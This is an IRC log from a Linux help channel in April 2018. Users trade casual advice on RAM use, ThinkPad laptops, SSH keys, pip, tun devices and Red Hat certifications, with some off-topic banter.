21:04 < dgurney> I've never needed more than 16GB even with a few VMs open
21:04 < ntd> sorry, got ShalokShalom and kazdax msg mixed together
21:05 < Psi-Jack> revel: Off-the-shelf pre-built computers, these days, are commonly being sold with 8GB RAM at the average baseline. There's /some/ with 4GB, but very few. There's others that start with 12GB and 16GB, but not as common as the 8GB.
21:05 < revel> I have 8GB, yes.
21:06 < kazdax> do i use virtual box instead of virt-mananger with kvm
21:06 < koala_man> ram is love, ram is life
21:06 < collins> ssh-keygen. Saved to id_rsa (default). Is that replacing any old keys?
21:06 < Psi-Jack> So, yes. I'd say 1GB for a DE is pretty reasonable, and quite functional, as my own desktop, up until just recently, had only 8GB.
21:06 < dgurney> yeh, 8GB is basically the modern minimum recommended amount
21:06 < uvvwvwwuuwv> no 1gb for a DE is not reasonable at all
21:06 < uvvwvwwuuwv> yall are insane
21:06 < dgurney> yes, it is
21:06 < uvvwvwwuuwv> nope
21:06 < uvvwvwwuuwv> it's not
21:06 < dgurney> get your head out of the 90s :P
21:06 < Psi-Jack> ^
21:06 < revel> Just to display a static image and a movable cursor?
21:06 < dgurney> and this is coming from someone who uses i3wm on everything
21:07 < uvvwvwwuuwv> get your head out of dram manufacturers ass
21:07 < triceratux> woo woo new trisquel 8.0 [    0.000000] Linux version 4.4.0-119-generic (pbuilder@devel.trisquel.info) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #143+8.0trisquel2 SMP Thu Apr 5 16:24:48 UTC 2018 (Ubuntu 4.4.0-119.143+8.0trisquel2-generic 4.4.114-gnu)
21:07 < ShalokShalom> i use 260 here on plasma
21:07 < Psi-Jack> revel: But it's not just displaying a static image and a movable cursor.
21:07  * triceratux is free
21:07 < Snump> Remember RAMBUS?
21:07 < revel> triceratux: Free? I'll take ten!
21:07 < dgurney> well that's just rude
21:07 < ayecee> guys, guys! let's not get hostile here! be assured that you're _both_ wrong.
21:07 < ShalokShalom> plus, a DE often loads librarys for other applications as well
21:08 < ShalokShalom> use a WM and you have to load those anyway
21:08 < ShalokShalom> under the line, its the same
21:08 < koala_man> the cure for ram usage nostalgia is using 20 year old software for a day
21:08 < Psi-Jack> DE's tend to load a lot of shared libraries that gets utilized with other apps of the same DE.
21:08 < uvvwvwwuuwv> one billion bytes
21:08 < Frith> koala_man: You mean like awk and sed? ;)
21:08 < uvvwvwwuuwv> to automount usb drives
21:08 < prussian> Frith: exactly
21:08 < revel> lol
21:08 < uvvwvwwuuwv> and whatever else it does
21:09 < koala_man> Frith: yes, before utf-8 support and in-place editing
21:09 < Psi-Jack> ShalokShalom: Good comparison. :)
21:09 < Psi-Jack> My XFCE4+i3, uses about... 1GB RAM initially brought up.
21:10 < AE-35> what laptop compares to macbook air in terms of weight and hardware is supported on *nix os.
21:10 < Psi-Jack> AE-35: ##hardware
21:10 < dgurney> AE-35, many ultrabooks, but yes, ##hardware
21:10 < garylabronz> is there anything lighter than xfce+i3wm? (thats what i run).. and second question my powermanagement is broken because i never set it up properly.. im running thinkpads, is there a wiki/doc/reading?
21:10 < ntd> AE-35, thinkpad t-series are the bomb. carbon lacks wired nic
21:11 < AE-35> thanks
21:11 < Psi-Jack> Hmmm, bombs for laptops? Sounds..... explosive.
21:11 < dgurney> garylabronz, I'm sure something like dwm would be lighter
21:12 < Tahlwyn> yooo. I will never not vouch for T series thinkpad
21:12 < Psi-Jack> garylabronz: That depends on a lot, actually. Do you primarily run GTK+/Gnome apps, or Qt/KDE apps?
21:12 < dgurney> big X-series fan here
21:12 < Tahlwyn> typing on a t430s right now
21:12 < ntd> "all work day" battery life, matte touch-capable displays, webcam shutter etc etc
21:12 < garylabronz> im more looking at changing xfce than i3wm but ill take a look
21:12 < garylabronz> Psi-Jack: i run a shit ton of st terminals and Firefox 99% of the time
21:12 < ntd> linux support is stellar, fw updates for 5+ years
21:12 < Psi-Jack> garylabronz: Course you could always remove the XFCE part of it. :)
21:13 < Tahlwyn> $200, 128gb ssd, 12gb ram, really decent processor. functional fingerpring scanner, ultrabay, webcam although i dont use it
21:13 < Psi-Jack> garylabronz: Kindly mind the language, please.
21:13 < ntd> hell, they're pushing bios updates to t60 and x200
21:13 < garylabronz> heard
21:13 < koala_man> to update the bios rootkit?
21:13 < ntd> supposedly they've used them to remove it :)
21:14 < revel> garylabronz: Using tmux instead of having a bunch of st terminals up may be lighter on memory.
21:14 < Tahlwyn> <3 tmux
21:14 < ntd> not that the known efi rootkit was present in business models
21:14 < garylabronz> yeah i am straight into tmux on st start, so i have that covered. ram usage is actlly fine, just wondering/interested in lighter
21:14 < ntd> dell's was, though
21:14 < ntd> neither affect #linux anyway
21:15 < Frith> I like tmux.  Not enough to move from screen, but I like it.
21:15 < Psi-Jack> koala_man: heh
21:15 < Psi-Jack> koala_man: I'm guessing people didn't catch that. :)
21:16 < Frith> I did use it to script my son's minecraft server so I could build a bunch of mazes and stuff.
21:16 < Psi-Jack> Ugh. minecraft.
21:17 < prussian> what does a terminal have to do with scripting minecraft?
21:17 < dgurney> I find Minecraft quite enjoyable when bored
21:17 < dgurney> more specifically, building subway networks in it
21:18 < Psi-Jack> Minecraft... The core reason Marai was even invented.
21:18 < Frith> prussian: at the time, aout 2 years ago, the only reasonable way I could construct things automatically was either to figure out what insane bunch of modules to add, or to use the server console to make blocks in different locations.
21:18 < Sitri> prussian: I'm guessing he makes something generate commands that will be input into the server console which will generate custom structures
21:19 < Frith> Sitri: Exactly.
21:19 < Sitri> When was the block placing command added BTW?
21:19 < dgurney> quite a while ago I think
21:19 < Frith> I honestly can't recall at the moment -- I want to say this was 4 years ago, but I could be wrong.
21:19 < Sitri> 1.8?  I still run 1.6 modded stuff.
21:20 < prussian> I see
21:20 < Frith> I think I was running one of the 1.8 versions.
21:20 < Frith> That sounds reasonably familiar.
21:20 < Sitri> I do know there's that lua-integrated server though
21:21 < Frith> There were a couple, but at the time, each set of modules came with it's own bunch of unstable crap that could work sort of if you installed the right sequence of dance moves.
21:25 < Alex223> Hello. Using gcc 8.0.1 I am encountering an error when using -flto flag "ltol: fatal error: bytecode stream generated with LTO version 7.0 instead of expected 5.2"
21:26 < Alex223> Anyone who may have a clue on why this happens? Thanks
21:26 < revel> GCC 8 hasn't been officially released yet, has it?
21:26 < revel> Asking on a GCC-specific channel may help more.
21:26 < garylabronz> any links to thinkpad powermanagement for laptops? id like my machine to hibernate when lid closes.. i have an x1 gen1 and an x230
21:27 < Alex223> @revel Do you know of any gcc channels? Thanks
21:27 < jim> debian unstable has gcc-7.3.0
21:27 < revel> Not sure.
21:28 < jim> Alex223, there is a bot, alis, that can assist you in looking for channels on the Freenode irc net. To start, /msg alis help
21:28 < revel> Also, according to https://gcc.gnu.org/ , the latest release is 7.3
21:28 < revel> So, 8.0.1 is prerelease, so that might just get ironed out by the full release.
21:33 < starseed00> When I apt-get awscli package it is really outdated, how would I go about fixing this?
21:40 < jim> starseed00, you could try getting debianized sources for the package, and build it and install the resulting package(s)... and, you can see if a backport exists
21:40 < jim> one question, do you need the newer features?
21:41 < starseed00> jim: Yeah, I am getting all sort of errors trying to use the old one :/
21:42 < jim> what dist are you running?
21:42 < Lope> Frith: If you really want to know about the effect of EMF (wifi and mobile phone signals) on health and the current health warnings by WHO and many scientists, surgeons and researchers, here are some interesting links: https://hastebin.com/oginajodac.pas
21:43 < jim> starseed00, what dist are you running?
21:43 < starseed00> jim: Amazon Linux
21:43 < revel> And it's outdated on that? That doesn't sound right...
21:44 < jim> and it's a debian deriv?
21:44 < revel> starseed00: You did `apt update` first, right?
21:44 < dgurney> hang on a second... outdated amazon program... on an amazon distro???
21:44 < jim> I don't know much about that... do you have nm installed?
21:44 < starseed00> jim: Centos
21:44 < starseed00> revel: Yes I did
21:45 < starseed00> dgurney: The os is amazon, I still get the package with apt get
21:46 < starseed00> You would think they would have the correct repos though - they seem pretty set on installing the tool with python though, which is a path I am trying to avoid since I can't figure out why my python hasn't got pip
21:47 < jim> starseed00, hmm, you could ask in #python how to get pip
21:47 < starseed00> jim: Might be I end up doing that! Thanks all.
21:47 < mawk> some distros package pip separately from python
21:48 < starseed00> mawk: That's good to know
21:48 < jim> and, you should not be running pip as root :) instead, you should make a virtual env and use its copy of pip
21:49 < starseed00> Good to know
21:49 < uplime> easy_install pip
21:49 < jim> yeah, pip can screw things up pretty good for dists with package management
21:50 < jim> starseed00, and, if you don't have a way to make virtual envs, you can ask about that on #python as well
21:50 < starseed00> It would be nice if I could just use the package manager, it just doesn't make sense to me
21:51 < starseed00> jim: Ok
21:52  * oehansen I love my, I love my, I love my ... hackintosh
21:55 < qoxncyha> oehansen: what hardware do you use?
22:00 < kazdax> hmm i am having problems with virtual box
22:00 < kazdax> removed it and reinstalling it
22:00 < kazdax> see if it fixes the problem
22:01 < Psilocyber> is there a table somewhere that shows kernel version that shipped with distro versions
22:02 < ayecee> not that i've heard of
22:03 < nszceta> what's a good IRC channel for business related discussion
22:03 < ayecee> ##chat
22:03 < z88> Maybe phoronix.
22:03 < z88> Psilocyber: https://openbenchmarking.org/embed.php?i=1803147-FO-LINUXOS0724&sha=24e6465&p=2
22:04 < okra> ##c for sure
22:04 < triceratux> Psilocyber: if you cant dig it out of distrowatch just boot the liveisos yourself & tabulate the results of uname -a
22:05 < Psilocyber> triceratux: the former sounds good, the latter sounds like a stupid amount of work :/, I didn't think of distrowatch ill try this
22:05 < z88> https://www.phoronix.com/scan.php?page=article&item=11-linux-boot&num=1
22:05 < z88> Not the distros by kernel per se, but they test different distros and the kernel is one of the control parameters.
22:06 < triceratux> Psilocyber: i wind up doing it myself anyway. its worth the attention https://paste.opensuse.org/view/raw/87508524
22:06 < Psi-Jack> Oi.. this sucks. Have one of my VM servers constantly locking up under load. Sometimes it'll get stonith'd (technically by itself), sometimes not. And it seems every time it's related to network interface.
22:07 < Psi-Jack> Annnnnd, it's a realcrap 8168. Part of the problem. heh
22:07 < ayecee> heisenbugs :(
22:07 < triceratux> https://www.linuxuprising.com/2018/04/gksu-removed-from-ubuntu-heres.html
22:07 < phre4k> I use awesomewm and GTK3 applications have no spacing between menu items, how do I fix this?
22:07 < Psi-Jack> Yeah, heisenbugs for sure.
22:07 < angelo_ts> hello, anyone knows how i can receive again a lost mail from majordomo mailing list ?
22:07 < Psi-Jack> now if I could juuuuust get my wife's attention to push the reset button on it.....
22:08 < Psi-Jack> angelo_ts: /the/ majordomo majordomo mailing list?
22:08 < angelo_ts> majordomo-based
22:09 < Psi-Jack> majordomo is software, so, your question currently makes little sense. Can you please clarify what you're talking about, and is this majordomo something you yourself run, or just subscribe to?
22:14 < juliangallego86> Test
22:14 < Co0lBeanzz> Anyone use the linux-steam-integration snap from solus for gaming? How's its performance compared to the normal steam?
22:14 < phre4k> juliangallego86: your message is received.
22:15 < juliangallego86> Thanks
22:25 < Loshki> angelo_ts: if the list is archived, that's your answer. Failing that, you may have to beg someone on the list to forward you a copy
22:27 < collins> Got a pub and priv id_rsa. Which one is the "host key"?
22:28 < Dagmar> None are
22:29 < fendur> the private key is the one you don't want anyone else to touch/see
22:29 < Dagmar> The "host key" comes from _other hosts_ and it'll be cached in ~/.ssh/known_hosts
22:29 < Dagmar> _Like it says when it complains about the host key being changed_
22:29 < fendur> ah. i didn't get it. :)
22:30 < collins> hm. thanks :)
22:30 < Dagmar> Co0lBeanzz: If you have the option to use the binaries from Steam, use them
22:31 < Co0lBeanzz> Dagmar: Why?
22:31 < Dagmar> Co0lBeanzz: because no random numbnutzes are going to be able to write a Steam client of their own.  All they're doing is repackaging the binaries they got from Steam.  Cut out hte middle man
22:33 < kazdax> <kazdax> i figured out why my virtual machine were slow
22:33 < kazdax> <kazdax> because i dint enable Virtualization in bios
22:33 < Co0lBeanzz> Dagmar: Fair. I'm just trying to get as much performance as possible
22:33 < Dagmar> Then use the binaries Steam provides
22:33 < Dagmar> Follow their instructions.
22:37 < mr-rich> I would like a recommendation for a linux laptop with a docking station that is 100% compatible. Time to ditch this old desktop ...
22:37 < Co0lBeanzz> Will do. Thanks
22:41 < Psi-Jack> mr-rich: ##hardware
22:42 < fendur> compatibility seems relevant.
22:43 < Psi-Jack> The people in ##hardware are familiar with linux.
22:43 < ayecee> hey, me too!
22:44 < fendur> ayecee: maybe you should go to ##hardware!
22:44 < phre4k> mr-rich: Thinkpad T series, but yes, join ##hardware
22:44 < xamithan> Why do people say "linux laptop"  ?  Is that a thing ?
22:44 < ayecee> same reason they say "economy car"
22:45 < Psi-Jack> Heh, good analogy, ayecee.
22:45 < mr-rich> as opposed to a Windows Laptop ... ?
22:45 < xamithan> I've never heard that before,  economy car
22:45 < Psi-Jack> mr-rich: No such thing. :)
22:45 < oerheks> linux laptop is just a qualification that all hardware works OOTB
22:45 < fendur> xamithan: not American?
22:45 < xamithan> I'm american
22:45 < fendur> are you youth?
22:45 < ayecee> o_O
22:45 < xamithan> What is the range for a youth
22:46 < xamithan> I've heard of hybrid cars,  and electric cars
22:46 < ayecee> do you still get carded when you buy alcohol
22:46 < mr-rich> Psi-Jack: in a perfect world ... but this world ain't perfect ...
22:46 < Psi-Jack> xamithan: Quite common actually. When I went to Texas for a funeral, I ordered a rental car as well, "economy car", course, when I got there, they pointed me to this extended-cab pickup truck, because, Texas.
22:46 < xamithan> Yes I get carded for the past 14 years
22:46 < ayecee> mmkay
22:46 < Psi-Jack> mr-rich: No, it's not. System76 (not recommended by me, they are fireballs), and Dell makes "Linux laptops", that is, Linux comes pre-installed on them.
22:47 < xamithan> One bouncer even snapped my ID in half
22:47 < Psi-Jack> mr-rich: But any laptop is "Linux compatible" to do with as you see fit.
22:47 < phre4k> Psi-Jack: "any"… bold statement
22:48 < Psi-Jack> Yes, any.
22:48 < phre4k> sure, you can write your own drivers for proprietary stuff
22:48 < ayecee> let's see how it plays out for him
22:48 < mr-rich> Psi-Jack: allow me to rephrase ... I would like a laptop & docking station that is 100% compatible ...
22:48 < Psi-Jack> mr-rich: Any laptop.
22:48 < phre4k> mr-rich: I already gave you an example and a few people told you to join ##hardware
22:48 < xamithan> system76 is just rebranded cevos
22:48 < phre4k> mr-rich: so join the said channel
22:48 < xamithan> *clevos rather
22:48 < Psi-Jack> mr-rich: Just avoid the hybrid video ones, with Intel/Nvidia or Intel/AMD
22:49 < xamithan> hybrid video is fine too
22:49 < Psi-Jack> If you want more problems. :)
22:49 < xamithan> at least nvidia does prime very good
22:49 < mr-rich> phre4k: I have a T-450 for work ... I've heard there are issues with docking & undocking ...
22:49 < phre4k> mr-rich: you heard?
22:49 < fendur> fwiw, I just got the cheapest laptop I could find and everything works fine in linux.
22:49 < phre4k> lol.
22:49 < qman> there are always issues with docking and undocking, regardless of operating system
22:50 < uplime> mr-rich: no software/hardware is perfect
22:50 < xamithan> I agree with qman,  I think the issues exist no matter the OS you use
22:50 < kazdax> are there any other exams like RCHSA and RHCE that require you to prove you know how to do things than awsner multiple choice questions ?
22:50 < xamithan> Sure kazdax, there is lots of other redhat exams
22:50 < Psi-Jack> kazdax: Amazon's AWS certs are question & multiple choice, but thorough and detailed still.
22:51 < Psi-Jack> But, with AWS you practically  have to unlearn everything you know, and remold it and pocket it. ;)
22:51 < kazdax> i mean besides redhat certs which test your practical knowledge not book knowledge
22:51 < qman> that's like asking for a system where sleep and wake always work perfectly - it's never happened in the history of computers
22:51 < phre4k> kazdax: yes
22:51 < mr-rich> uptime: true, that, but I have 2 docking stations for my T-450. One with 2 monitors, the one at work has 3 ... the trick I use is to put the laptop to sleep before I undock (windows) and I haven't had many issues re-docking ...
22:52 < kazdax> phreak could you enlighten me on the ones that exist
22:52 < phre4k> kazdax: yes
22:52 < xamithan> I think the OSCP is practical
22:52 < Psi-Jack> mr-rich: I had a Dell one time, that I used to have docking stations for, at home and work. Worked quite well, actually.
22:52 < kazdax> i mean i want to work with technology as a way to make money and enjoy myself but i dont want to invest in trying to pove my bookworm skills
22:53 < mr-rich> Psi-Jack: It ran gnu/linux?
22:53 < Psi-Jack> mr-rich: I don't run anything but GNU/Linux.
22:53 < xamithan> I've heard the OSCP is quite hard though
22:53 < qman> I have a thinkpad x220 and highly recommend it, though I do not have a docking station for it
22:54 < kazdax> ohh nice
22:54 < mr-rich> Psi-Jack: I wish I could talk my company into issuing me a linux installed laptop ... then I would be all linux myself ... :(
22:54 < kazdax> pen testing with kali sounds like fun
22:54 < xamithan> kazdax: It is a 24-hour exam :P
22:54 < kazdax> no breaks "?
22:54 < kazdax> but its pen testing what could be boring about it right ?
22:54 < Psi-Jack> mr-rich: I refuse to work for any company that requires me to run Windows.
22:55 < Psi-Jack> I'll accept macOS, but not anything other than Linux or macOS.
22:55 < qman> my employer offers windows and mac
22:55 < qman> and I refuse to use mac
22:55 < phre4k> kazdax: do you do pentesting? because actual pentesting work is fucking boring
22:55 < uplime> <3 macos
22:55 < Psi-Jack> qman: macOS is soooooo much better than Windows.
22:55 < kazdax> phre4k i ahve done some malware reversing
22:55 < qman> yeah, no
22:55 < kazdax> that was what i consider boring
22:56 < uplime> its still unix, and unix is great
22:56 < uplime> besides the whole POSIX thing :/
22:56 < kazdax> dont know much about pen testing
22:56 < kazdax> but i think i understand where it could get boring
22:56 < kazdax> like checking for security flaws in software ..could become a boring task
22:56 < phre4k> kazdax: reports, reports, reports, reports, reports
22:56 < phre4k> oh, and reports
22:56 < kazdax> yea
22:56 < kazdax> i understand that
22:56 < xamithan> It is like doing QA work
22:57 < phre4k> xamithan: only with more reports
22:57 < xamithan> Yes
22:57 < phre4k> :'D
22:57 < kazdax> exacept for offensive security
22:57 < kazdax> i dont think there is any useless books on the topic are they
22:57 < kazdax> i seen open testing books on ethical hacking
22:57 < phre4k> kazdax: what do you think offensive security is?
22:57 < kazdax> and they seem like baby stuff
22:57 < kazdax> like how to use tools and stuff like that
22:58 < Psi-Jack> kazdax: Well, pen testing is very messy, with all that ink and stuff. :)
22:58 < kazdax> a real pen tester would find new flaws
22:58 < phre4k> kazdax: not necessarily
22:58 < ayecee> pretty rarely
22:59 < ayecee> that's more of a security research thing
22:59 < phre4k> ^
22:59 < phre4k> kazdax: I think xamithan put it quite well, it's similar to QA work
22:59 < xamithan> I think of it exactly like PCI compliance work,  just a bit more detailed and hands on
23:00 < xamithan> Boring to me but maybe some people like that
23:00 < kazdax> maybe i should just stick with this RHCSA and RHCE
23:00 < kazdax> and then see if i have the time and ability to pursue Offesnive security
23:01 < kazdax> but dont they need NSA clearence for most jobs ?
23:01 < phre4k> kazdax: yes. One at a time. RHCSA is great.
23:01 < phre4k> you don't need _ANY_ cert to work as a Linux guy though
23:01 < xamithan> what is "NSA clearance" ?
23:01 < kazdax> i heard you need NSA clearence for some jobs to show that you can keep confidential things under wrap or something like that
23:01 < kazdax> i am not sure
23:01 < Sveta> xamithan: a document from government which confirms that the person has not done anything wrong
23:02 < kazdax> ahh
23:02 < phre4k> kazdax: unless you work for the NSA you don't need anything from them
23:02 < cineribus> LPIC is pretty good, but I don't know how it compares to RHCSA.  Anyone with both know?
23:02 < xamithan> I've never heard of that,  you might need a secret clearance or top secret clearance for more secure work
23:02 < Sveta> xamithan: actually I may be wrong...
23:02 < Sveta> xamithan: https://en.wikipedia.org/wiki/Security_clearance
23:02 < kazdax> LPIC wants you to know all sort of book stuff
23:02 < phre4k> kazdax: actually, in nearly all jobs you don't want to have anything to do with the NSA or any other 3 letter agency
23:02 < xamithan> Which is a background check and security+ or cissp cert
23:02 < kazdax> yea i know how they can fuck you over
23:02 < Sveta> xamithan: (such background check is the first step, but the NSA clearance also involves allowing people to access secret information)
23:03 < Sveta> kazdax: as foreigners are present in the channel, obscene language has been discouraged
23:03 < kazdax> heard about the CIA and NSA doing bad to thier own people for the good of so called country
23:03 < kazdax> ill take note sveta
23:03 < Sveta> cool
23:03 < fendur> the country is real, it's "good" that is "so called"
23:04 < Psilocyber> once an organization gets to a certain size, its only interest is self preservation
23:04 < Sveta> I'm personally not excited about doing secret things which involve programming, as this may involve creation of backdoors
23:04 < Psilocyber> no such 'good of the country', thats the lie they mask it with
23:04  * Sveta joins ##security
23:05 < kazdax> for now ill keep my quiestions towasrds linux
23:05 < kazdax> because thats what this room is about
23:05 < kazdax> wish me luck on my RCHSA
23:05 < kazdax> and i hope to get it soon
23:05 < Sveta> break a leg or something :-) (it means good luck)
23:05 < kazdax> excited to see what a Server and workstation can be used for
23:05 < kazdax> thanks :D
23:05 < xamithan> Don't need luck,  need about 2-4 weeks of labbing
23:06 < Sveta> I wish you 2-4 weeks of labbing, kazdax :)
23:06 < kazdax> yea i am setting up my lab under kvm as we speak
23:06 < kazdax> thank you :D
23:06 < phre4k> kazdax: install Fedora first
23:06 < kazdax> phre4k i have debian running as host
23:06  * Sveta eats phre4k and phre4k's fedora
23:07 < phre4k> kazdax: install Fedora then
23:07 < kazdax> my vms are going to be RHEL
23:07 < phre4k> oh, and install it on your homeserver, too
23:07 < phre4k> hm, will they now
23:07 < kazdax> why fedora phre4k ?
23:12 < collins> I can't relate. I see what the manpage of ssh-agent says, but what does "ssh-add" do?
23:12 < kazdax> phre4k are you hacking my system ?
23:12 < collins> what is ssh-agent doing?
23:13 < collins> is it basically a keyring?
23:15 < Dagmar> It's basically a keyring agent
23:15 < collins> hm. I feel that I need not to bother with it right now then. It's just a convenience then.
23:16 < collins> github think that you should add it to the ssh-agent. Is that necessary?
23:17 < Dagmar> That depends on how often you like typing your ssh key passphrase
23:18 < lnslbrty> Anyone has used epoll_pwait in conjunction with signalfd? Unfortunately it doesn't work  like expected.
23:18 < vlt> Hello. On a Debian 8 machine as xen dom0 I used `xl save <domain> <save_file>` to freeze a domU. The save process wrote the initial config file value for "memory = 8000" to the save file even though I had increased the memory size to something like 20000. The size of the .save file is 19464411855.
23:18 < vlt> Any idea how to restore that?
23:22 < phre4k> kazdax: why would I do that
23:23 < collins> Dagmar: :3 typing the same 20 char passwords 20 times over again pures the soul
23:30 < ayecee> gives you time to think
23:30 < RayTracer> "what was the next char again"
23:33 < ayecee> "what am i doing with my life"
23:34 < nszceta> ##chat
23:35 < Aph3x-WL> "how long can i go without bathing before someone says something"
23:38 < twainwek> depends on where you live
23:40 < Bunk> ♠ haha ♠
23:41 < mawk> why do I need to be root to make a tun device ?
23:41 < mawk> /dev/net/tun has write rights for everyone
23:41 < collins> mawk: only root may make device files
23:43 < Dagmar> mawk: The usual role of it being the kernel's job to broker access to any/all hardware
23:43 < Dagmar> So, if you want to do *anything* to hardware, you've got to be root or have permissions explicitly granted previously
23:44 < Dagmar> As far as the kernel is concerned, virtual devices count as hardawre
23:44 < uplime> collins: device files being the thing in /dev ?
23:45 < Dagmar> Yep
23:45 < uplime> thanks collins
23:46 < mawk> yeah but the device is already here
23:46 < mawk> /dev/net/tun
23:47 < mawk> it's already created, it's a character mode device
23:47 < mawk> but apparently the tun file code checks capabilities before creating the device
23:48 < arooni> so apparently my old decrepit router couldn't understand the type of ext4 file system that ubuntu 16.04 formatted... so it required me to reformat via its version of ext4 mkfs ... q 1) how common is it that linux devices cant understand other ext4 versions 2) what kinds of features would i be losing from using an older ext4 version
23:48 < arooni> (reformant a usb hard drive)
23:52 < aBound> Howdy do, doo... :P
23:52 < snugger> Hey there aBound
23:52 < collins> mawk: something that requires root access is required when you're doing the thing you're trying to do
23:52 < mawk> it's not immediately obvious
23:53 < mawk> the kernel drive could allow anyone having write access to the tun file
23:54 < collins> even malware?
23:55 < collins> I don't know what the actual issue is though, but it's possible that you're trying to write to a read-only/locked file or something too.
23:56 < mawk> I was trying to create a tun interface as my normal user
23:56 < mawk> but I created the interface as root and set my user as the owner
23:56 < mawk> sudo ip tuntap add name tun42 mode tun group netdev
23:57 < wtflux> hi ##linux, i've booted into parted magic and im trying to load some old HFS (mac) floppy diskettes 3.5" and i cant get mount -t /dev/fd0(1,...) to mount on /mnt/floppy
23:57 < wtflux> im currently on parted magic 3.5.6
23:58 < wtflux> does anyone have any suggestions how i can get this working?
--- Log closed Fri Apr 20 00:00:51 2018